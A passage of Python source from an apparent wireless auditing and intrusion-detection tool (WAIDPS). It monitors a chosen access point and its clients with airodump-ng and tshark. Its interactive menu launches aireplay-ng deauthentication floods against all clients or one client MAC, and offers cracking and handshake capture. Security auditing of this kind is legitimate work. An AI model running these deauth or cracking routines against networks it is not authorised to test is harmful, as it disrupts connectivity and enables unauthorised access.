        __builtin__.LOG_AP_LPWR=SNL
        open(__builtin__.MONLogfile,"a+b").write("C.SNL  =" + str(SNL) + "\n")
        __builtin__.LOG_AP_PWR=SNL
        open(__builtin__.MONLogfile,"a+b").write("RECORD =" + Now() + "\n")
        __builtin__.LOG_AP_RECORDED=Now()
        open(__builtin__.MONLogfile,"a+b").write("--------END OF ACCESS POINT DETAIL--------\n")
    else:
        tmpList=[]
	with open(__builtin__.MONLogfile,"r") as f:
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split("=")
                if len(tmpList)==2:
                    if tmpList[0]=="ESSID  ":
                       if __builtin__.LOG_AP_ESSID!=__builtin__.ATTACK_AP_ESSID and __builtin__.ATTACK_AP_ESSID!="":
                           line="ESSID  =" + __builtin__.ATTACK_AP_ESSID
                           __builtin__.LOG_AP_ESSID=__builtin__.ATTACK_AP_ESSID
                    if tmpList[0]=="CHANNEL":
                       if __builtin__.LOG_AP_CH!=__builtin__.ATTACK_AP_CH and __builtin__.ATTACK_AP_CH!="":
                           line="CHANNEL=" + __builtin__.ATTACK_AP_CH
                           __builtin__.LOG_AP_CH=__builtin__.ATTACK_AP_CH
                    if tmpList[0]=="CIPHER ":
                       if __builtin__.LOG_AP_CIPHER!=__builtin__.ATTACK_AP_CIPHER and __builtin__.ATTACK_AP_CIPHER!="":
                           line="CIPHER =" + __builtin__.ATTACK_AP_CIPHER
                           __builtin__.LOG_AP_CIPHER=__builtin__.ATTACK_AP_CIPHER
                    if tmpList[0]=="PRIVACY":
                       if __builtin__.LOG_AP_PRIVACY!=__builtin__.ATTACK_AP_PRIVACY and __builtin__.ATTACK_AP_PRIVACY!="":
                           line="PRIVACY=" + __builtin__.ATTACK_AP_PRIVACY
                           __builtin__.LOG_AP_PRIVACY=__builtin__.ATTACK_AP_PRIVACY
                    if tmpList[0]=="AUTH   ":
                       if __builtin__.LOG_AP_AUTH!=__builtin__.ATTACK_AP_AUTH and __builtin__.ATTACK_AP_AUTH!="":
                           line="AUTH   =" + __builtin__.ATTACK_AP_AUTH
                           __builtin__.LOG_AP_AUTH=__builtin__.ATTACK_AP_AUTH
                    if tmpList[0]=="CLIENTS":
                       if __builtin__.LOG_AP_CLIENT!=__builtin__.ATTACK_AP_CLIENT and __builtin__.ATTACK_AP_CLIENT!="" and __builtin__.ATTACK_AP_CLIENT.isdigit()==True and __builtin__.LOG_AP_CLIENT.isdigit()==True:
                           if int(__builtin__.ATTACK_AP_CLIENT)>int(__builtin__.LOG_AP_CLIENT):
                               line="CLIENTS=" + __builtin__.ATTACK_AP_CLIENT
                               __builtin__.LOG_AP_CLIENT=__builtin__.ATTACK_AP_CLIENT
                    if tmpList[0]=="F.SEEN ":
                       if tmpList[1]=="":
                           line="F.SEEN =" + __builtin__.ATTACK_AP_FS
                           __builtin__.LOG_AP_FS=__builtin__.ATTACK_AP_FS
                    if tmpList[0]=="L.SEEN ":
                       if tmpList[1]!=__builtin__.ATTACK_AP_LS and __builtin__.ATTACK_AP_LS!="":
                           line="L.SEEN =" + __builtin__.ATTACK_AP_LS
                           __builtin__.LOG_AP_LS=__builtin__.ATTACK_AP_LS
                    if tmpList[0]=="H.SNL  " and tmpList[1]!="":
                       RSNL=str(tmpList[1]).replace("-","")
                       CSNL=str(__builtin__.ATTACK_AP_PWR).replace("-","")
                       if RSNL.isdigit()==True and CSNL.isdigit()==True:
                           if int(RSNL)>int(CSNL) or RSNL=="0":
                               if RSNL=="0" and int(CSNL)>1 and int(CSNL)<101:
                                   line="H.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_HPWR=__builtin__.ATTACK_AP_PWR
                               elif int(RSNL)>100 and int(CSNL)<101 and int(CSNL)>1 and int(CSNL)<int(RSNL):
                                   line="H.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_HPWR=__builtin__.ATTACK_AP_PWR
                               elif int(CSNL)<101 and int(CSNL)>1 and int(CSNL)<int(RSNL):
                                   line="H.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_HPWR=__builtin__.ATTACK_AP_PWR
                    if tmpList[0]=="L.SNL  " and tmpList[1]!="":
                       RSNL=str(tmpList[1]).replace("-","")
                       CSNL=str(__builtin__.ATTACK_AP_PWR).replace("-","")
                       if RSNL.isdigit()==True and CSNL.isdigit()==True:
                           if int(RSNL)<int(CSNL) or RSNL=="0":
                               if RSNL=="0" and int(CSNL)>1 and int(CSNL)<101:
                                   line="L.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_LPWR=__builtin__.ATTACK_AP_PWR
                               elif int(RSNL)>100 and int(CSNL)<101 and int(CSNL)>1 and int(CSNL)>int(RSNL):
                                   line="L.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_LPWR=__builtin__.ATTACK_AP_PWR
                               elif int(CSNL)<101 and int(CSNL)>1 and int(CSNL)>int(RSNL):
                                   line="L.SNL  =" + __builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                                   __builtin__.LOG_AP_LPWR=__builtin__.ATTACK_AP_PWR
                    if tmpList[0]=="C.SNL  ":
                        line="C.SNL  =" + __builtin__.ATTACK_AP_PWR
                        __builtin__.LOG_AP_PWR=__builtin__.ATTACK_AP_PWR
                    if tmpList[0]=="RECORD ":
                       line="RECORD =" + Now()
                       __builtin__.LOG_AP_RECORDED=Now()
                open(tmpfile,"a+b").write(line + "\n")
        if IsFileDirExist(tmpfile)=="F":
            DelFile (__builtin__.MONLogfile,"")
            os.rename(tmpfile,__builtin__.MONLogfile)

def MonitorAccessPoint(TargetMAC,Auto):
    __builtin__.RTNCACHE="TIME0"
    __builtin__.ATTACK_AP_PDATA=""
    __builtin__.ATTACK_AP_PBEACON=""
    __builtin__.WPA_DEAUTH_MAC=""
    __builtin__.NEW_CLIENT2=[]
    IGNORE_NEG_CLIENT="OFF"
    ClearClientAPList("")
    TargetMAC2=str(TargetMAC).replace(":","")
    if Auto=="":
        printc ("i",fcolor.BBlue + "Monitoring of Access Point","")
        printc (" ",fcolor.SWhite + "This option allow user to monitor a specific access point and monitor if the access point or wireless clients are active or idle. .","")
    __builtin__.TStart=Now()
    print ""
    printc ("i",fcolor.BGreen + "Time Start : " + fcolor.SWhite + str(__builtin__.TStart),"")
    NW=Now().replace(":","").replace(" ","_")
    FName=mondir + "MON_" + str(TargetMAC).replace(":","") + "_TMP_" + NW
    FNameDel=mondir + "MON_" + str(TargetMAC).replace(":","") + "_TMP_" 
    FNameSearch=mondir + "MON_" + str(TargetMAC).replace(":","") + "_TMP_*.cap"
    DelFile(FNameDel + "*.csv","")
    DelFile(FNameDel + "*.netxml","")
    print ""
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Starting Sniffer for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ]..","")
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(__builtin__.ATTACK_AP_CH) + " -w " + FName + " " + str(__builtin__.SELECTED_MON) + " | tee " + tmpdir + "SNIF_RESULT.txt" + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Sniffer=ps.pid
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Using TShark' -e 'tshark -n -t ad -i " + str(__builtin__.SELECTED_MON) + " > " + tmpdir + "TsharkSniff.txt" + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.ProcID=ps.pid
    __builtin__.ProcIDList.append (str(__builtin__.ProcID))
    __builtin__.NEW_CLIENT_PROBE2=['','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','']
    MONITORING_STOP="";NEWCLIENT=[];DAUTHCT=5;WAITRATE=5;CHECKFS="";NClient="";MonStart="";__builtin__.CapFile=FName + "-01.cap";__builtin__.MONLogfile=dbdir + "MON_" + str(TargetMAC).replace(":","") + ".log"
    PreLoadMonFile()
    while MONITORING_STOP=="":
        __builtin__.LIVE_MON=""
        LineBreak()
        os.system('clear')
        CenterText(fcolor.BGBlue + fcolor.BWhite,"< < <<  LIVE MONITORING OF ACCESS POINT " + str(TargetMAC) + "  >> > >      ")
        print ""
        DisplayAPDetail()
        __builtin__.ATTACK_AP_CLIENT=str(len(__builtin__.CUR_CLIENT))
        if MonStart=="1":
            MonStart="2"
            sData="BSSIDDetail-Start;" + Now() + ";" + str(__builtin__.ATTACK_AP_BSSID).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PRIVACY).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CIPHER).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_AUTH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_FS).lstrip().rstrip()+ ";" +  str(__builtin__.ATTACK_AP_LS).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";" + str(len(__builtin__.CUR_CLIENT)) + ";" + str(__builtin__.ATTACK_AP_ESSID).lstrip().rstrip()+ ";" 
            LogMonDetail(sData)
        if __builtin__.LOG_AP_CLIENT!=__builtin__.ATTACK_AP_CLIENT or __builtin__.LOG_AP_ESSID!=__builtin__.ATTACK_AP_ESSID or __builtin__.LOG_AP_CH!=__builtin__.ATTACK_AP_CH or __builtin__.LOG_AP_CIPHER!=__builtin__.ATTACK_AP_CIPHER or __builtin__.LOG_AP_PRIVACY!=__builtin__.ATTACK_AP_PRIVACY or __builtin__.LOG_AP_AUTH!=__builtin__.ATTACK_AP_AUTH:
            LogMonFile("")
        LastData=""
        if len(__builtin__.CUR_CLIENT)>0:
            cl=0
            printc ("i",fcolor.BBlue + "Client MAC ID      Status  Device First Seen    Device Last Seen    Inactive    PWR    Frames   Diff    Device Manufacturer / Possible Type ","")
            __builtin__.SORT_CLIENT=[]
            ActiveClient=""
            ActiveClientCt=0
            while cl<len(__builtin__.CUR_CLIENT):
                ActiveStatus=""
                IGNORE=""
                if IGNORE_NEG_CLIENT=="ON" and str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()=="-1":
                    IGNORE="1"
                if IGNORE_NEG_CLIENT=="ON" and str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip()=="1":
                    IGNORE="1"
                if IGNORE=="":
                    OUI=Check_OUI(__builtin__.CUR_CLIENT[cl],"")
                    NewClient=""
                    MACIndex=-1
                    MACLoc=str(__builtin__.CUR_CLIENT_MAC).find(str(__builtin__.CUR_CLIENT[cl]))
                    if MACLoc==-1:
                        NewClient=fcolor.BGreen + " [New Detected]"
                    ActiveIndicate=""
                    ActiveStatus=AddClientMAC(__builtin__.CUR_CLIENT[cl],__builtin__.CUR_CLIENT_DATA[cl])
                    DataChanges=str(__builtin__.CUR_CLIENT_DATADIFF)
                    DataChanges=str(__builtin__.CUR_CLIENT_DATA[cl]) + str(DataChanges)
                    DataChanges=DataChanges.ljust(20) + "."
                    DataChanges=str(DataChanges).replace("+",fcolor.SWhite + "+").replace(".","")
                    Elapse=CalculateTime (str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip(),str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip())
                    StripTime=str(__builtin__.TimeGapFull).lstrip().rstrip()[:5]
                    if str(StripTime)=="0:00:":
                        ActiveIndicate= "*"
                        ActiveClientCt += 1
                        ActiveClient=ActiveClient + str(__builtin__.CUR_CLIENT[cl]) + " / "  
                    TimeGap=str(__builtin__.TimeGapFull) + str(ActiveIndicate)
                    TimeGap=str(TimeGap).ljust(10) +"."
                    TimeGap=str(TimeGap).replace("*",fcolor.SRed + "*").replace(".","")
                    MC=fcolor.SWhite + "" + fcolor.BGreen + __builtin__.CUR_CLIENT[cl] + "  " + str(ActiveStatus) + fcolor.SWhite + str(__builtin__.CUR_CLIENT_FS[cl]) + " " + str(__builtin__.CUR_CLIENT_LS[cl]) + "  " + fcolor.SBlue + str(TimeGap) + fcolor.SYellow + str(__builtin__.CUR_CLIENT_PWR[cl]).ljust(5) + fcolor.SGreen + str(DataChanges)  + fcolor.SCyan + str(OUI) + fcolor.SPink + " " + str(NewClient)
                    CP=str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()[1:]
                    AP=str(__builtin__.ATTACK_AP_PWR)[1:]
                    Report=""
                    if NewClient!="":
                        LogMonDetail(RemoveColor("NewClient;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";"))
                        LastData=LastData + RemoveColor("NewClient;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";") + "\n"
                    else:
                        DDIF=str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip()
                        if DDIF!="":
                            LogMonDetail(RemoveColor("Activity;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";"))
                            LastData=LastData + RemoveColor("Activity;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";") + "\n"
                        else:
                            TG=RemoveColor(str(TimeGap)).replace("*","").lstrip().rstrip()[-5:]
                            TG=str(TG)[:2]
                            if int(TG)==10 or int(TG)==20 or int(TG)==30 or int(TG)==40 or int(TG)==50:
                                LogMonDetail(RemoveColor("Idle;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";"))
                            LastData=LastData + RemoveColor("Idle;" + Now() + ";" + __builtin__.CUR_CLIENT[cl] + ";" + str(__builtin__.CUR_CLIENT_FS[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_LS[cl]).lstrip().rstrip() + ";" + str(TimeGap).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATA[cl]).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_DATADIFF).lstrip().rstrip() + ";" + str(__builtin__.CUR_CLIENT_PWR[cl]).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";") + "\n"
                    if str(CP)!="" and str(AP)!="":
                        if int(CP)<int(AP):
                            Report=fcolor.SGreen + "\t\t\t\t" + " Station Nearer"  #"fcolor.SBlue + "Your Location " + fcolor.SWhite + "--> " + fcolor.SGreen + "Station      " + fcolor.SWhite + "--> " + fcolor.SPink + "Access Point"
                        else:
                            Report=fcolor.SPink + "\t\t\t\t" + " Access Point Nearer"  #  =fcolor.SBlue + "Your Location " + fcolor.SWhite + "--> " + fcolor.SPink +  "Access Point " + fcolor.SWhite + "--> " + fcolor.SGreen+ "Station"
                        if Report!="":
                            MC = MC + "\n" + tabspacefull + Report 
                    mi=FindMACIndex(__builtin__.CUR_CLIENT[cl],__builtin__.NEW_CLIENT2)
                    if mi>0 and str(__builtin__.NEW_CLIENT_PROBE2[mi])!="":
                        MC=MC + "\n" + tabspacefull + fcolor.SWhite + "Probe  : " + fcolor.SBlue + str(__builtin__.NEW_CLIENT_PROBE2[mi])
                    __builtin__.SORT_CLIENT.append (str(MC))
                cl=cl+1
            cl=0
            if str(LastData)!="":
                LastData=str(LastData)[:-1]
            
            __builtin__.SORT_CLIENT.sort()
            while cl<len(__builtin__.SORT_CLIENT):
                printc (cl+1,__builtin__.SORT_CLIENT[cl],"")
                cl=cl+1
            print ""
            if str(ActiveClient)!="":
                ActiveClient=ActiveClient[:len(ActiveClient)-3]
                ActiveClient=str(ActiveClient).replace("/", fcolor.SWhite + "/" + fcolor.BGreen)
                printc ("i",fcolor.BRed + "Active Clients [< 1 min] : " + fcolor.BGreen + ActiveClient + fcolor.SWhite + "  [" + str(ActiveClientCt) + "]", "")
                print tabspacefull + fcolor.BWhite + "Note : " + fcolor.SGreen + "Do take note that active client does not indicate that user are actively using the devices, "
                print tabspacefull +  "       " + fcolor.SGreen + "it could be the applications within wifi devices synchronizing data from servers."
                print tabspacefull +  "       " + fcolor.SGreen + "User will have to base on the volume and frequency of the activity."
            else:
                printc ("i",fcolor.BRed + "None of the client has activity for the pass 1 minute.", "")
            
        else:
            printc ("!",fcolor.SRed + "No client found !!","")
            if NClient=="" and MonStart!="":
                NClient="NoClient"
                LogMonDetail(NClient + ";" + Now() + ";")
        LineBreak()
        t=0
        retkey=""
        if CHECKFS=="":
            print ""
            FS=0
            NW=Now()
            while FS<240:
                if IsFileDirExist(FName + "-01.csv")=="F": 
                    statinfo = os.stat(FName + "-01.csv")
                    FS=statinfo.st_size
                else:
                    FS=0
                PrintText=fcolor.BBlue + str(NW) + " - " +  "Locating Access Point [ " + fcolor.BYellow + __builtin__.ATTACK_AP_BSSID + fcolor.BBlue + " ] on Channel " + fcolor.BYellow + __builtin__.ATTACK_AP_CH + fcolor.BBlue + ", Please wait...."
                bcolor=fcolor.SWhite
                pcolor=fcolor.BGreen
                tcolor=fcolor.SGreen
                s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
                sl=len(s)-3
                print s,
                sys.stdout.flush()
                time.sleep(1)
                t=t+1
                s=""
                ss="\r"
                print "" + s.ljust(sl) + ss,
                sys.stdout.flush()
                if t>60:
                    usr_resp=AskQuestion(fcolor.BGreen + "Access point still not located, continue ?" + fcolor.BGreen,"y/N","U","N","1")
                    if usr_resp=="Y":
                        NW=Now()
                        t=1
                    else:
                        LineBreak()
                        KillSubProc(__builtin__.Sniffer)
                        DelFile(FName + "*.*","")
                        OptAuditing("")
                        return;
            LogMonDetail("MonStart;" + Now() + ";")
            MonStart="1"
            CHECKFS=statinfo.st_size
        if MONITORING_STOP=="":
            if retkey=="":
                TMPF=str(__builtin__.CapFile).replace(".cap",".csv")
                __builtin__.Captured_CSV=TMPF
                TMPF=str(__builtin__.CapFile).replace(".cap",".kismet.csv")
                __builtin__.Captured_Kismet=TMPF
                RewriteCSV()
                ExtractDump("1")
                EnrichDump()
                ExtractClient()
                WriteAllStationDB()
                LogMonFile("")
                __builtin__.Captured_CSV=tmpdir + "Collect-Dump-01.csv"
                __builtin__.Captured_Kismet=tmpdir + "Collect-Dump-01.kismet.csv"
                    
                retkey=WaitProcessing(WAITRATE,1)
            while retkey!="":
                LineBreak()
                MSG=""
                printc ("i",fcolor.BBlue + "Live Access Point Monitoring Menu","")
                MSG=MSG + tabspacefull + fcolor.BRed + "1/O" + fcolor.SWhite + " - St" + fcolor.BYellow + "o" + fcolor.SWhite + "p Monitoring\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "2/D" + fcolor.SWhite + " - " + fcolor.BYellow + "D" + fcolor.SWhite + "eauth Broadcast / Client\n"
                CLCT=len(__builtin__.CUR_CLIENT)
                if CLCT==0:
                    CLCT="No Client"
                else:
                    CLCT=str(CLCT) + " Client(s)"
                MSG=MSG + tabspacefull + fcolor.BRed + "3/A" + fcolor.SWhite + " - " + fcolor.BYellow + "A" + fcolor.SWhite + "uditing (Crack) the Access Point.\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "4/H" + fcolor.SWhite + " - View " + fcolor.BYellow + "H" + fcolor.SWhite + "andshake Captured\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "  C" + fcolor.SWhite + " - List " + fcolor.BYellow + "C" + fcolor.SWhite + "lients\t\t" + fcolor.SGreen + " [ " + str(CLCT) + " ]\n" 
                MSG=MSG + tabspacefull + fcolor.BRed + "5/W" + fcolor.SWhite + " - Open Captured Packets with " + fcolor.BYellow + "W" + fcolor.SWhite + "ireshark - " + fcolor.SGreen + str(__builtin__.CapFile) + "\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "  P" + fcolor.SWhite + " - Open Captured Packets with Wireshark with a decryption " + fcolor.BYellow + "P" + fcolor.SWhite + "assword. \n"
                MSG=MSG + tabspacefull + fcolor.BRed + "  E" + fcolor.SWhite + " - Remove " + fcolor.BYellow + "E" + fcolor.SWhite + "ncryption and rewrite to new file. \n"
                MSG=MSG + tabspacefull + fcolor.BRed + "6/L" + fcolor.SWhite + " - " + fcolor.BYellow + "L" + fcolor.SWhite + "ookup Database History\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "7/R" + fcolor.SWhite + " - " + fcolor.BYellow + "R" + fcolor.SWhite + "eresh Rate\t\t" + fcolor.SGreen + " [ " + str(WAITRATE) + " seconds ]\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "8/N" + fcolor.SWhite + " - Ignore " + fcolor.BYellow + "N" + fcolor.SWhite + "egative [-1] Client & Single Frame Client- " + fcolor.SGreen + "Current " + str(IGNORE_NEG_CLIENT) + "\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "9/S" + fcolor.SWhite + " - Re" + fcolor.BYellow + "s" + fcolor.SWhite + "tart Monitoring\n"
                MSG=MSG + tabspacefull + fcolor.BRed + "0/T" + fcolor.SWhite + " - Re" + fcolor.BYellow + "t" + fcolor.SWhite + "urn\n"
                print MSG
                usr_resp=AskQuestion("Select an option",fcolor.SGreen + "Default" + fcolor.BYellow + " - Return","U"," ","1")
                if usr_resp!="0" and usr_resp!="T" and usr_resp!=" ":
                    print ""
                    if usr_resp=="1" or usr_resp=="O":
                        sData="BSSIDDetail-End;" + Now() + ";" + str(__builtin__.ATTACK_AP_BSSID).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PRIVACY).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_CIPHER).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_AUTH).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_PWR).lstrip().rstrip()+ ";" + str(__builtin__.ATTACK_AP_FS).lstrip().rstrip()+ ";" +  str(__builtin__.ATTACK_AP_LS).lstrip().rstrip()+ ";" + str(WAITRATE).lstrip().rstrip() + ";" + str(len(__builtin__.CUR_CLIENT)) + ";" + str(__builtin__.ATTACK_AP_ESSID).lstrip().rstrip()+ ";" 
                        LogMonDetail(sData)
                        LogMonDetail(LastData)
                        KillAllMonitor()
                        LineBreak()
                        DisplayComplete(__builtin__.TStart)
                        KillSubProc(__builtin__.Sniffer)
                        ClearClientAPList("")
                        LogMonDetail("MonEnd;" + Now() + ";\n")
                        DelFile(FNameDel + "*.csv","")
                        DelFile(FNameDel + "*.netxml","")
                        print "";printc ("x","","")
                        return;
                    elif usr_resp=="2" or usr_resp=="D":
                        MSG=""
                        LineBreak()
                        printc ("+",fcolor.BBlue + "Deauth Broadcast / Client","")
                        MSG=MSG + tabspacefull + fcolor.BRed + "1/B" + fcolor.SWhite + " - Deauth Broadcast\n"
                        MSG=MSG + tabspacefull + fcolor.BRed + "2/C" + fcolor.SWhite + " - Deauth Client " + fcolor.SRed + str(__builtin__.WPA_DEAUTH_MAC)
                        print MSG
                        usr_resp=str(AskQuestion( "Enter your option","1/2" + fcolor.SWhite + " - Default 1","U","1","")).lstrip().rstrip()
                        print ""
                        DEAUTH=""
                        if usr_resp=="1" or usr_resp=="B":
                            DAUTHCT=str(AskQuestion("Enter the number of time to send deauth signal",fcolor.SGreen + "Default - " + str(DAUTHCT),"U",DAUTHCT,"")).lstrip().rstrip()
                            if DAUTHCT.isdigit()!=True or DAUTHCT=="0":
                                DAUTHCT=5
                            print ""
                            printc (".",fcolor.BRed + "Broadcasting Deauthentication Signal To All Clients..." + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                            cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID), str(__builtin__.SELECTED_MON)]
                            ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                            ps.wait()
                        if usr_resp=="2" or usr_resp=="C":
                            if len(__builtin__.CUR_CLIENT)>0:
                                ListClientFound()
                            DefaultVal="X"
                            Default="Default - Return"
                            if str(__builtin__.WPA_DEAUTH_MAC)!="":
                                printc ("i",fcolor.BGreen + "Current Deauth Client MAC : " + fcolor.BRed + str(__builtin__.WPA_DEAUTH_MAC),"")
                                printc (" ",fcolor.SWhite + "To remove the current MAC, enter [" + fcolor.BRed + "X" + fcolor.SWhite +"]","")
                                Default="Default - " + str(__builtin__.WPA_DEAUTH_MAC) 
                                DefaultVal=__builtin__.WPA_DEAUTH_MAC
                            MAC=str(AskQuestion("Enter the Client MAC to Deauth xx:xx:xx:xx:xx:xx :",fcolor.SGreen + str(Default),"U",DefaultVal,"1")).lstrip().rstrip()
                            if MAC!="" and MAC!="X":
                                if MAC.isdigit()==True:
                                    if int(MAC.isdigit())-1<int(len(__builtin__.CUR_CLIENT)):
                                        MAC=__builtin__.CUR_CLIENT[int(MAC)-1]
                                        printc (" ",fcolor.SWhite + " Selected ==> " + fcolor.BYellow + str(MAC),"")
                                if len(MAC)!=17 or IsHex(MAC)==False:
                                    printc ("!!!","Invalid MAC Address Entered !","")
                                    print ""
                                elif MAC!="X": 
                                    __builtin__.WPA_DEAUTH_MAC=MAC
                                    print ""
                                    DAUTHCT=str(AskQuestion("Enter the number of time to send deauth signal",fcolor.SGreen + "Default - " + str(DAUTHCT),"U",DAUTHCT,"")).lstrip().rstrip()
                                    if DAUTHCT.isdigit()!=True or DAUTHCT=="0":
                                        DAUTHCT=5
                                    CLIENTMAC=__builtin__.WPA_DEAUTH_MAC
                                    print ""
                                    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BRed + "Sending Deauthentication Signal To Selected Client : " + fcolor.BYellow + CLIENTMAC + fcolor.SGreen + " (x" + str(DAUTHCT) + ") ","")
                                    cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID),"-c", str(CLIENTMAC), str(__builtin__.SELECTED_MON)]
                                    ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                                    lines=ps.communicate()
                                    lines=str(lines).replace("\\r\\n","\t")
                                    lines=str(lines).split("\t")
                                    lines=RearrangeReturn(lines)
                                    NORESULT="1";TCL_ACK=0;TAP_ACK=0
                                    for line in lines:
                                        line=str(line).replace("\n","").replace("\r","")
                                        if line!="":
                                            lina=str(line).replace("\x00","").replace("[","").replace("]","").replace("|"," ").replace("  "," ").replace(" ",",")    
                                            lina=lina+",,,,,,,,,"
                                            LSPLIT=str(lina).split(",")
                                            if len(LSPLIT)>9:
                                                if LSPLIT[5]=="STMAC:" and len(LSPLIT[6])==17 and LSPLIT[9]=="ACKs":
                                                    T_PKTS=int(LSPLIT[2])*2
                                                    CL_ACK=LSPLIT[7]
